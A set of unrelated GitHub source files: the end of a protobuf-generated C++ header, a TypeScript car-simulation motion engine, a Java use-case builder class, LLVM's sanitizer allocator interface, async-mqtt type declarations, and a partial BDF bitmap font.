if (!has_string_value()) {
clear_kind();
set_has_string_value();
kind_.string_value_.UnsafeSetDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
kind_.string_value_.SetNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited(), value);
// @@protoc_insertion_point(field_set:google.protobuf.Value.string_value)
}
inline void Value::set_string_value(const char* value) {
if (!has_string_value()) {
clear_kind();
set_has_string_value();
kind_.string_value_.UnsafeSetDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
kind_.string_value_.SetNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited(),
::std::string(value));
// @@protoc_insertion_point(field_set_char:google.protobuf.Value.string_value)
}
inline void Value::set_string_value(const char* value, size_t size) {
if (!has_string_value()) {
clear_kind();
set_has_string_value();
kind_.string_value_.UnsafeSetDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
kind_.string_value_.SetNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited(), ::std::string(
reinterpret_cast<const char*>(value), size));
// @@protoc_insertion_point(field_set_pointer:google.protobuf.Value.string_value)
}
inline ::std::string* Value::mutable_string_value() {
if (!has_string_value()) {
clear_kind();
set_has_string_value();
kind_.string_value_.UnsafeSetDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
// @@protoc_insertion_point(field_mutable:google.protobuf.Value.string_value)
return kind_.string_value_.MutableNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
inline ::std::string* Value::release_string_value() {
// @@protoc_insertion_point(field_release:google.protobuf.Value.string_value)
if (has_string_value()) {
clear_has_kind();
return kind_.string_value_.ReleaseNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
} else {
return NULL;
}
}
inline void Value::set_allocated_string_value(::std::string* string_value) {
if (!has_string_value()) {
kind_.string_value_.UnsafeSetDefault(&::google::protobuf::internal::GetEmptyStringAlreadyInited());
}
clear_kind();
if (string_value != NULL) {
set_has_string_value();
kind_.string_value_.SetAllocatedNoArena(&::google::protobuf::internal::GetEmptyStringAlreadyInited(),
string_value);
}
// @@protoc_insertion_point(field_set_allocated:google.protobuf.Value.string_value)
}
// optional bool bool_value = 4;
inline bool Value::has_bool_value() const {
return kind_case() == kBoolValue;
}
inline void Value::set_has_bool_value() {
_oneof_case_[0] = kBoolValue;
}
inline void Value::clear_bool_value() {
if (has_bool_value()) {
kind_.bool_value_ = false;
clear_has_kind();
}
}
inline bool Value::bool_value() const {
// @@protoc_insertion_point(field_get:google.protobuf.Value.bool_value)
if (has_bool_value()) {
return kind_.bool_value_;
}
return false;
}
inline void Value::set_bool_value(bool value) {
if (!has_bool_value()) {
clear_kind();
set_has_bool_value();
}
kind_.bool_value_ = value;
// @@protoc_insertion_point(field_set:google.protobuf.Value.bool_value)
}
// optional .google.protobuf.Struct struct_value = 5;
inline bool Value::has_struct_value() const {
return kind_case() == kStructValue;
}
inline void Value::set_has_struct_value() {
_oneof_case_[0] = kStructValue;
}
inline void Value::clear_struct_value() {
if (has_struct_value()) {
delete kind_.struct_value_;
clear_has_kind();
}
}
inline const ::google::protobuf::Struct& Value::struct_value() const {
// @@protoc_insertion_point(field_get:google.protobuf.Value.struct_value)
return has_struct_value()
? *kind_.struct_value_
: ::google::protobuf::Struct::default_instance();
}
inline ::google::protobuf::Struct* Value::mutable_struct_value() {
if (!has_struct_value()) {
clear_kind();
set_has_struct_value();
kind_.struct_value_ = new ::google::protobuf::Struct;
}
// @@protoc_insertion_point(field_mutable:google.protobuf.Value.struct_value)
return kind_.struct_value_;
}
inline ::google::protobuf::Struct* Value::release_struct_value() {
// @@protoc_insertion_point(field_release:google.protobuf.Value.struct_value)
if (has_struct_value()) {
clear_has_kind();
::google::protobuf::Struct* temp = kind_.struct_value_;
kind_.struct_value_ = NULL;
return temp;
} else {
return NULL;
}
}
inline void Value::set_allocated_struct_value(::google::protobuf::Struct* struct_value) {
clear_kind();
if (struct_value) {
set_has_struct_value();
kind_.struct_value_ = struct_value;
}
// @@protoc_insertion_point(field_set_allocated:google.protobuf.Value.struct_value)
}
// optional .google.protobuf.ListValue list_value = 6;
inline bool Value::has_list_value() const {
return kind_case() == kListValue;
}
inline void Value::set_has_list_value() {
_oneof_case_[0] = kListValue;
}
inline void Value::clear_list_value() {
if (has_list_value()) {
delete kind_.list_value_;
clear_has_kind();
}
}
inline const ::google::protobuf::ListValue& Value::list_value() const {
// @@protoc_insertion_point(field_get:google.protobuf.Value.list_value)
return has_list_value()
? *kind_.list_value_
: ::google::protobuf::ListValue::default_instance();
}
inline ::google::protobuf::ListValue* Value::mutable_list_value() {
if (!has_list_value()) {
clear_kind();
set_has_list_value();
kind_.list_value_ = new ::google::protobuf::ListValue;
}
// @@protoc_insertion_point(field_mutable:google.protobuf.Value.list_value)
return kind_.list_value_;
}
inline ::google::protobuf::ListValue* Value::release_list_value() {
// @@protoc_insertion_point(field_release:google.protobuf.Value.list_value)
if (has_list_value()) {
clear_has_kind();
::google::protobuf::ListValue* temp = kind_.list_value_;
kind_.list_value_ = NULL;
return temp;
} else {
return NULL;
}
}
inline void Value::set_allocated_list_value(::google::protobuf::ListValue* list_value) {
clear_kind();
if (list_value) {
set_has_list_value();
kind_.list_value_ = list_value;
}
// @@protoc_insertion_point(field_set_allocated:google.protobuf.Value.list_value)
}
inline bool Value::has_kind() const {
return kind_case() != KIND_NOT_SET;
}
inline void Value::clear_has_kind() {
_oneof_case_[0] = KIND_NOT_SET;
}
inline Value::KindCase Value::kind_case() const {
return Value::KindCase(_oneof_case_[0]);
}
// -------------------------------------------------------------------
// ListValue
// repeated .google.protobuf.Value values = 1;
inline int ListValue::values_size() const {
return values_.size();
}
inline void ListValue::clear_values() {
values_.Clear();
}
inline const ::google::protobuf::Value& ListValue::values(int index) const {
// @@protoc_insertion_point(field_get:google.protobuf.ListValue.values)
return values_.Get(index);
}
inline ::google::protobuf::Value* ListValue::mutable_values(int index) {
// @@protoc_insertion_point(field_mutable:google.protobuf.ListValue.values)
return values_.Mutable(index);
}
inline ::google::protobuf::Value* ListValue::add_values() {
// @@protoc_insertion_point(field_add:google.protobuf.ListValue.values)
return values_.Add();
}
inline ::google::protobuf::RepeatedPtrField< ::google::protobuf::Value >*
ListValue::mutable_values() {
// @@protoc_insertion_point(field_mutable_list:google.protobuf.ListValue.values)
return &values_;
}
inline const ::google::protobuf::RepeatedPtrField< ::google::protobuf::Value >&
ListValue::values() const {
// @@protoc_insertion_point(field_list:google.protobuf.ListValue.values)
return values_;
}
#endif // !PROTOBUF_INLINE_NOT_IN_HEADERS
// -------------------------------------------------------------------
// -------------------------------------------------------------------
// @@protoc_insertion_point(namespace_scope)
} // namespace protobuf
} // namespace google
#ifndef SWIG
namespace google {
namespace protobuf {
template <> struct is_proto_enum< ::google::protobuf::NullValue> : ::google::protobuf::internal::true_type {};
template <>
inline const EnumDescriptor* GetEnumDescriptor< ::google::protobuf::NullValue>() {
return ::google::protobuf::NullValue_descriptor();
}
} // namespace protobuf
} // namespace google
#endif // SWIG
// @@protoc_insertion_point(global_scope)
#endif // PROTOBUF_google_2fprotobuf_2fstruct_2eproto__INCLUDED
|
{
"pile_set_name": "Github"
}
|
/*
Motion engine
Parent of all motion engines classes
*/
import {Level} from "./level";
import {
MAP
} from "./global";
import { Editor } from "./editor";
import { CarSprite } from "./car";
/**
* Structure used to describe the action space.
* @type: Discrete or continous values
* @size: Number of expected values.
* @range: Range of each values
*/
export interface actionSpaceDescription {
type: "Discrete"|"Continous"
size: number,
range: number[]|number[][]
}
export class MotionEngine {
protected level: Level|Editor;
protected car: any;
protected lidar: any;
protected state: any;
constructor(level: Level|Editor) {
this.level = level;
}
protected boxesIntersect(a: any, b: any) {
/*
Chack if a the two elements intersect each others
@a (Pixi sprite)
@b (Pixi sprite)
*/
var ab = a.getBounds();
var bb = b.getBounds();
return ab.x + ab.width > bb.x && ab.x < bb.x + bb.width && ab.y + ab.height > bb.y && ab.y < bb.y + bb.height;
}
/**
* Check if car1 intersect with an other @object
* @car1 The first car
* @object The object
*/
protected carIntersect(car1: CarSprite, object: CarSprite){
const nb = car1.lidar.collisionPts.length;
for (let c=0; c < nb; c++){
if (this.boxesIntersect(car1.lidar.collisionPts[c], object)){
return true;
}
}
return false;
}
/**
* Check how many colision detector of car1 are in @object
* @car1 The first car
* @object The object
*/
protected carCaptorInObject(car1: CarSprite, object: CarSprite): number{
const size = car1.lidar.collisionPts.length;
let nb = 0;
for (let c=0; c < size; c++){
if (this.boxesIntersect(car1.lidar.collisionPts[c], object)){
nb += 1;
}
}
return nb;
}
protected detectInteractions(all:boolean = true, farDetection:boolean=false){
/*
If all is false then we assume the car is alwais on a road
and never collision with other car (this behavior is used for bot cars only)
Detect the interaction with the environement
- Car collisions
- Lidar collisions
- Road position (Is the vehicle on the road)
*/
let envs = this.level.getEnvs();
let agentCollisions = [];
let lidar_collisions = [];
let onRoadCnt = 0;
let onRoad = false;
for (let i = 0; i < envs.length; i++) {
if (envs[i] != this.car && ((Math.abs(envs[i].mx - this.car.mx) < 2 && Math.abs(envs[i].my - this.car.my) < 2) || farDetection)){
if (all && envs[i].obstacle && this.carIntersect(this.car, envs[i])){
agentCollisions.push(envs[i]);
}
else if (all && envs[i].mapId == MAP.ROAD){
onRoadCnt += this.carCaptorInObject(this.car, envs[i]);
}
if (this.boxesIntersect(envs[i], this.lidar)){
lidar_collisions.push(envs[i]);
}
}
}
this.setState(lidar_collisions);
if (onRoadCnt >= 4 || !all){
onRoad = true;
}
return {agentCollisions, onRoad};
}
protected setState(lidar_collisions: any){
/*
Set up the current state of the agent
@lidar_collisions List with all possible lidar collisions
*/
let pt_id = 0;
for (var i = 0; i < this.lidar.lidarPts.length; i++) {
this.lidar.lidarPts[i].alpha = 0.3;
let pt_y = Math.floor(pt_id/this.lidar.pts);
let pt_x = Math.floor(pt_id%this.lidar.pts);
this.state[pt_y][pt_x] = MAP.DEFAULT;
for (var a = 0; a < lidar_collisions.length; a++) {
if (lidar_collisions[a] != this.car){
let touch = this.boxesIntersect(lidar_collisions[a], this.lidar.lidarPts[i]);
if (touch && lidar_collisions[a].obstacle){
// If this is an obstacle
this.lidar.lidarPts[i].alpha = 1.;
}
if (touch && (lidar_collisions[a].mapId > this.state[pt_y][pt_x] || (lidar_collisions[a].mapId == MAP.ROAD && this.state[pt_y][pt_x]==MAP.DEFAULT))){
// Add this interaction to the state
// If this interaction is more important than the one before
// we kept the more important one
this.state[pt_y][pt_x] = lidar_collisions[a].mapId;
}
}
}
pt_id += 1;
}
}
};
|
{
"pile_set_name": "Github"
}
|
package org.requirementsascode.builder;
import static org.requirementsascode.builder.FlowlessStepPart.flowlessStepPart;
import java.util.Objects;
import java.util.function.Supplier;
import org.requirementsascode.Condition;
import org.requirementsascode.Model;
import org.requirementsascode.ModelRunner;
/**
* Part used by the {@link ModelBuilder} to build a {@link Model}. Wraps
* {@link StepPart}.
*
* @author b_muth
*/
public class FlowlessConditionPart {
private final UseCasePart useCasePart;
private final Condition optionalCondition;
private final long flowlessStepCounter;
private final String autoIncrementedStepName;
private FlowlessConditionPart(Condition optionalCondition, UseCasePart useCasePart, long flowlessStepCounter) {
this.optionalCondition = optionalCondition;
this.useCasePart = Objects.requireNonNull(useCasePart);
this.flowlessStepCounter = flowlessStepCounter;
this.autoIncrementedStepName = "S" + flowlessStepCounter;
}
static FlowlessConditionPart flowlessConditionPart(Condition optionalCondition, UseCasePart useCasePart, long flowlessStepCounter) {
return new FlowlessConditionPart(optionalCondition, useCasePart, flowlessStepCounter);
}
/**
* Creates a named step.
*
* @param stepName the name of the created step
* @return the created step part
*/
public FlowlessStepPart step(final String stepName) {
FlowlessStepPart flowlessStepPart = flowlessStepPart(stepName, useCasePart, optionalCondition,
flowlessStepCounter);
return flowlessStepPart;
}
/**
* Defines the type of user commands that this step accepts. Commands of this
* type can cause a system reaction.
*
* <p>
* Given that the step's condition is true, the system reacts to objects that
* are instances of the specified class or instances of any direct or indirect
* subclass of the specified class.
*
* @param commandClass the class of commands the system reacts to in this step
* @param <T> the type of the class
* @return the created user part of this step
*/
public <T> FlowlessUserPart<T> user(Class<T> commandClass) {
FlowlessUserPart<T> flowlessUserPart = step(autoIncrementedStepName).user(commandClass);
return flowlessUserPart;
}
/**
* Defines the type of messages or exceptions that will cause a system reaction,
* given that the condition is fulfilled.
*
* <p>
* Given that the step's condition is true, the system reacts to objects that
* are instances of the specified class or instances of any direct or indirect
* subclass of the specified class.
*
* @param messageClass the class of messages the system reacts to
* @param <T> the type of the class
* @return the created user part of this step
*/
public <T> FlowlessUserPart<T> on(Class<T> messageClass) {
FlowlessUserPart<T> flowlessUserPart = step(autoIncrementedStepName).on(messageClass);
return flowlessUserPart;
}
/**
* Defines an "autonomous system reaction", meaning the system will react
* without needing a message provided via {@link ModelRunner#reactTo(Object)}.
*
* @param systemReaction the autonomous system reaction
* @return the created system part of this step
*/
public FlowlessSystemPart<ModelRunner> system(Runnable systemReaction) {
FlowlessSystemPart<ModelRunner> flowlessSystemPart = step(autoIncrementedStepName).system(systemReaction);
return flowlessSystemPart;
}
/**
* Defines an "autonomous system reaction", meaning the system will react
* without needing a message provided via {@link ModelRunner#reactTo(Object)}.
* After executing the system reaction, the runner will publish the returned
* event.
*
* @param systemReaction the autonomous system reaction, that returns a single
* event to be published.
* @return the created system part of this step
*/
public FlowlessSystemPart<ModelRunner> systemPublish(Supplier<?> systemReaction) {
FlowlessSystemPart<ModelRunner> flowlessSystemPart = step(autoIncrementedStepName).systemPublish(systemReaction);
return flowlessSystemPart;
}
Condition getOptionalCondition() {
return optionalCondition;
}
}
|
{
"pile_set_name": "Github"
}
|
//===-- allocator_interface.h ---------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// Public interface header for allocator used in sanitizers (ASan/TSan/MSan).
//===----------------------------------------------------------------------===//
#ifndef SANITIZER_ALLOCATOR_INTERFACE_H
#define SANITIZER_ALLOCATOR_INTERFACE_H
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Returns the estimated number of bytes that will be reserved by allocator
for request of "size" bytes. If allocator can't allocate that much
memory, returns the maximal possible allocation size, otherwise returns
"size". */
size_t __sanitizer_get_estimated_allocated_size(size_t size);
/* Returns true if p was returned by the allocator and
is not yet freed. */
int __sanitizer_get_ownership(const volatile void *p);
/* Returns the number of bytes reserved for the pointer p.
Requires (get_ownership(p) == true) or (p == 0). */
size_t __sanitizer_get_allocated_size(const volatile void *p);
/* Number of bytes, allocated and not yet freed by the application. */
size_t __sanitizer_get_current_allocated_bytes(void);
/* Number of bytes, mmaped by the allocator to fulfill allocation requests.
Generally, for request of X bytes, allocator can reserve and add to free
lists a large number of chunks of size X to use them for future requests.
All these chunks count toward the heap size. Currently, allocator never
releases memory to OS (instead, it just puts freed chunks to free
lists). */
size_t __sanitizer_get_heap_size(void);
/* Number of bytes, mmaped by the allocator, which can be used to fulfill
allocation requests. When a user program frees memory chunk, it can first
fall into quarantine and will count toward __sanitizer_get_free_bytes()
later. */
size_t __sanitizer_get_free_bytes(void);
/* Number of bytes in unmapped pages, that are released to OS. Currently,
always returns 0. */
size_t __sanitizer_get_unmapped_bytes(void);
/* Malloc hooks that may be optionally provided by user.
__sanitizer_malloc_hook(ptr, size) is called immediately after
allocation of "size" bytes, which returned "ptr".
__sanitizer_free_hook(ptr) is called immediately before
deallocation of "ptr". */
void __sanitizer_malloc_hook(const volatile void *ptr, size_t size);
void __sanitizer_free_hook(const volatile void *ptr);
/* Installs a pair of hooks for malloc/free.
Several (currently, 5) hook pairs may be installed, they are executed
in the order they were installed and after calling
__sanitizer_malloc_hook/__sanitizer_free_hook.
Unlike __sanitizer_malloc_hook/__sanitizer_free_hook these hooks can be
chained and do not rely on weak symbols working on the platform, but
require __sanitizer_install_malloc_and_free_hooks to be called at startup
and thus will not be called on malloc/free very early in the process.
Returns the number of hooks currently installed or 0 on failure.
Not thread-safe, should be called in the main thread before starting
other threads.
*/
int __sanitizer_install_malloc_and_free_hooks(
void (*malloc_hook)(const volatile void *, size_t),
void (*free_hook)(const volatile void *));
/* Drains allocator quarantines (calling thread's and global ones), returns
freed memory back to OS and releases other non-essential internal allocator
resources in attempt to reduce process RSS.
Currently available with ASan only.
*/
void __sanitizer_purge_allocator(void);
#ifdef __cplusplus
} // extern "C"
#endif
#endif
|
{
"pile_set_name": "Github"
}
|
import {
MqttClient,
IClientOptions,
IClientPublishOptions,
IClientSubscribeOptions,
IPublishPacket,
ISubscriptionGrant,
ISubscriptionMap,
IUnsubackPacket,
PacketCallback,
} from 'mqtt';
export * from 'mqtt/types/lib/client-options';
export * from 'mqtt/types/lib/store';
export {
// mqtt/types/lib/client
ISubscriptionGrant,
ISubscriptionRequest,
ISubscriptionMap,
OnMessageCallback,
OnPacketCallback,
OnErrorCallback,
IStream,
// mqtt-packet
QoS,
PacketCmd,
IPacket,
IConnectPacket,
IPublishPacket,
IConnackPacket,
ISubscription,
ISubscribePacket,
ISubackPacket,
IUnsubscribePacket,
IUnsubackPacket,
IPubackPacket,
IPubcompPacket,
IPubrelPacket,
IPubrecPacket,
IPingreqPacket,
IPingrespPacket,
IDisconnectPacket,
Packet
} from 'mqtt'
export interface IMqttClient extends MqttClient {}
export declare class AsyncMqttClient extends MqttClient {
constructor (client: IMqttClient);
public subscribe (topic: string | string[], opts: IClientSubscribeOptions): Promise<ISubscriptionGrant[]>
public subscribe (topic: string | string[] | ISubscriptionMap): Promise<ISubscriptionGrant[]>
/* original */ public subscribe (topic: string | string[], opts: IClientSubscribeOptions, callback: never): this
/* original */ public subscribe (topic: string | string[] | ISubscriptionMap, callback: never): this
public unsubscribe (topic: string | string[]): Promise<IUnsubackPacket>
/* original */ public unsubscribe (topic: string | string[], callback: never): this;
public publish (topic: string, message: string | Buffer, opts: IClientPublishOptions): Promise<IPublishPacket>
public publish (topic: string, message: string | Buffer): Promise<IPublishPacket>
/* original */ public publish (topic: string, message: string | Buffer, opts: IClientPublishOptions, callback: never): this
/* original */ public publish (topic: string, message: string | Buffer, callback: never): this
public end (force?: boolean): Promise<void>
/* original */ public end (force: boolean, callback: never): this;
}
export declare function connect (brokerUrl?: string | any, opts?: IClientOptions): AsyncMqttClient
export declare function connectAsync (brokerUrl: string | any, opts?: IClientOptions, allowRetries?: boolean): Promise<AsyncMqttClient>
export { AsyncMqttClient as AsyncClient }
|
{
"pile_set_name": "Github"
}
|
STARTFONT 2.1
COMMENT This font is a free software.
COMMENT Unlimited permission is granted to use, copy, and distribute it,
COMMENT with or without modification, either commercially and noncommercially.
COMMENT THIS FONT IS PROVIDED "AS IS" WITHOUT WARRANTY.
FONT -mplus-hlv-medium-R-normal--10-100-75-75-P-50-iso8859-1
SIZE 10 75 75
FONTBOUNDINGBOX 9 11 0 -2
STARTPROPERTIES 20
FONTNAME_REGISTRY ""
FOUNDRY "mplus"
FAMILY_NAME "hlv"
WEIGHT_NAME "medium"
SLANT "R"
SETWIDTH_NAME "normal"
ADD_STYLE_NAME ""
PIXEL_SIZE 10
POINT_SIZE 100
RESOLUTION_X 75
RESOLUTION_Y 75
SPACING "P"
AVERAGE_WIDTH 50
CHARSET_REGISTRY "iso8859"
CHARSET_ENCODING "1"
COPYRIGHT "Copyright (C) 2002-2004 COZ"
DEFAULT_CHAR 32
FONT_DESCENT 3
FONT_ASCENT 9
_XMBDFED_INFO "Edited with xmbdfed 4.5."
ENDPROPERTIES
CHARS 192
STARTCHAR 0x0020
ENCODING 32
SWIDTH 480 0
DWIDTH 5 0
BBX 0 0 0 0
BITMAP
ENDCHAR
STARTCHAR 0x0021
ENCODING 33
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
80
80
80
80
00
80
ENDCHAR
STARTCHAR 0x0022
ENCODING 34
SWIDTH 576 0
DWIDTH 6 0
BBX 3 3 1 5
BITMAP
A0
A0
A0
ENDCHAR
STARTCHAR 0x0023
ENCODING 35
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
50
50
F8
50
F8
50
50
ENDCHAR
STARTCHAR 0x0024
ENCODING 36
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 -1
BITMAP
20
78
A0
70
28
28
F0
20
ENDCHAR
STARTCHAR 0x0025
ENCODING 37
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
C0
C8
10
20
40
98
18
ENDCHAR
STARTCHAR 0x0026
ENCODING 38
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
60
90
90
68
90
90
68
ENDCHAR
STARTCHAR 0x0027
ENCODING 39
SWIDTH 384 0
DWIDTH 4 0
BBX 1 3 1 5
BITMAP
80
80
80
ENDCHAR
STARTCHAR 0x0028
ENCODING 40
SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
20
40
40
80
80
80
40
40
20
ENDCHAR
STARTCHAR 0x0029
ENCODING 41
SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
80
40
40
20
20
20
40
40
80
ENDCHAR
STARTCHAR 0x002A
ENCODING 42
SWIDTH 576 0
DWIDTH 6 0
BBX 5 6 0 1
BITMAP
20
A8
70
70
A8
20
ENDCHAR
STARTCHAR 0x002B
ENCODING 43
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 1
BITMAP
20
20
F8
20
20
ENDCHAR
STARTCHAR 0x002C
ENCODING 44
SWIDTH 576 0
DWIDTH 6 0
BBX 2 2 1 -1
BITMAP
40
80
ENDCHAR
STARTCHAR 0x002D
ENCODING 45
SWIDTH 576 0
DWIDTH 6 0
BBX 5 1 0 3
BITMAP
F8
ENDCHAR
STARTCHAR 0x002E
ENCODING 46
SWIDTH 576 0
DWIDTH 6 0
BBX 1 1 2 0
BITMAP
80
ENDCHAR
STARTCHAR 0x002F
ENCODING 47
SWIDTH 672 0
DWIDTH 7 0
BBX 4 8 1 -1
BITMAP
10
10
20
20
40
40
80
80
ENDCHAR
STARTCHAR 0x0030
ENCODING 48
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x0031
ENCODING 49
SWIDTH 576 0
DWIDTH 6 0
BBX 3 7 0 0
BITMAP
20
60
A0
20
20
20
20
ENDCHAR
STARTCHAR 0x0032
ENCODING 50
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
08
30
40
80
F8
ENDCHAR
STARTCHAR 0x0033
ENCODING 51
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
10
20
70
08
88
70
ENDCHAR
STARTCHAR 0x0034
ENCODING 52
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
30
50
90
90
F8
10
10
ENDCHAR
STARTCHAR 0x0035
ENCODING 53
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
80
F0
08
08
88
70
ENDCHAR
STARTCHAR 0x0036
ENCODING 54
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
80
F0
88
88
88
70
ENDCHAR
STARTCHAR 0x0037
ENCODING 55
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
08
10
20
20
40
40
ENDCHAR
STARTCHAR 0x0038
ENCODING 56
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
70
88
88
70
ENDCHAR
STARTCHAR 0x0039
ENCODING 57
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
88
78
08
70
ENDCHAR
STARTCHAR 0x003A
ENCODING 58
SWIDTH 576 0
DWIDTH 6 0
BBX 1 4 2 1
BITMAP
80
00
00
80
ENDCHAR
STARTCHAR 0x003B
ENCODING 59
SWIDTH 576 0
DWIDTH 6 0
BBX 2 5 1 0
BITMAP
40
00
00
40
80
ENDCHAR
STARTCHAR 0x003C
ENCODING 60
SWIDTH 672 0
DWIDTH 7 0
BBX 4 7 1 0
BITMAP
10
20
40
80
40
20
10
ENDCHAR
STARTCHAR 0x003D
ENCODING 61
SWIDTH 576 0
DWIDTH 6 0
BBX 5 3 0 2
BITMAP
F8
00
F8
ENDCHAR
STARTCHAR 0x003E
ENCODING 62
SWIDTH 672 0
DWIDTH 7 0
BBX 4 7 1 0
BITMAP
80
40
20
10
20
40
80
ENDCHAR
STARTCHAR 0x003F
ENCODING 63
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
10
20
00
20
ENDCHAR
STARTCHAR 0x0040
ENCODING 64
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
B8
A8
B8
80
70
ENDCHAR
STARTCHAR 0x0041
ENCODING 65
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
20
50
50
F8
88
88
ENDCHAR
STARTCHAR 0x0042
ENCODING 66
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
F0
88
88
F0
ENDCHAR
STARTCHAR 0x0043
ENCODING 67
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
80
80
80
88
70
ENDCHAR
STARTCHAR 0x0044
ENCODING 68
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
88
88
88
F0
ENDCHAR
STARTCHAR 0x0045
ENCODING 69
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
80
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x0046
ENCODING 70
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
80
80
F0
80
80
80
ENDCHAR
STARTCHAR 0x0047
ENCODING 71
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
80
B8
88
88
78
ENDCHAR
STARTCHAR 0x0048
ENCODING 72
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
88
F8
88
88
88
ENDCHAR
STARTCHAR 0x0049
ENCODING 73
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x004A
ENCODING 74
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
08
08
08
08
88
88
70
ENDCHAR
STARTCHAR 0x004B
ENCODING 75
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
90
A0
C0
A0
90
88
ENDCHAR
STARTCHAR 0x004C
ENCODING 76
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
80
80
80
80
80
80
F8
ENDCHAR
STARTCHAR 0x004D
ENCODING 77
SWIDTH 768 0
DWIDTH 8 0
BBX 7 7 0 0
BITMAP
82
C6
AA
92
82
82
82
ENDCHAR
STARTCHAR 0x004E
ENCODING 78
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
C8
A8
98
88
88
88
ENDCHAR
STARTCHAR 0x004F
ENCODING 79
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x0050
ENCODING 80
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
F0
80
80
80
ENDCHAR
STARTCHAR 0x0051
ENCODING 81
SWIDTH 576 0
DWIDTH 6 0
BBX 6 9 0 -2
BITMAP
70
88
88
88
88
88
70
10
0C
ENDCHAR
STARTCHAR 0x0052
ENCODING 82
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F0
88
88
F0
88
88
88
ENDCHAR
STARTCHAR 0x0053
ENCODING 83
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
70
88
80
70
08
88
70
ENDCHAR
STARTCHAR 0x0054
ENCODING 84
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
20
20
20
20
20
20
ENDCHAR
STARTCHAR 0x0055
ENCODING 85
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x0056
ENCODING 86
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
88
50
50
20
20
ENDCHAR
STARTCHAR 0x0057
ENCODING 87
SWIDTH 960 0
DWIDTH 10 0
BBX 9 7 0 0
BITMAP
8880
8880
4900
5500
5500
2200
2200
ENDCHAR
STARTCHAR 0x0058
ENCODING 88
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
50
20
20
20
50
88
ENDCHAR
STARTCHAR 0x0059
ENCODING 89
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
50
50
20
20
20
ENDCHAR
STARTCHAR 0x005A
ENCODING 90
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
F8
08
10
20
40
80
F8
ENDCHAR
STARTCHAR 0x005B
ENCODING 91
SWIDTH 576 0
DWIDTH 6 0
BBX 3 9 1 -1
BITMAP
E0
80
80
80
80
80
80
80
E0
ENDCHAR
STARTCHAR 0x005C
ENCODING 92
SWIDTH 672 0
DWIDTH 7 0
BBX 4 8 1 -1
BITMAP
80
80
40
40
20
20
10
10
ENDCHAR
STARTCHAR 0x005D
ENCODING 93
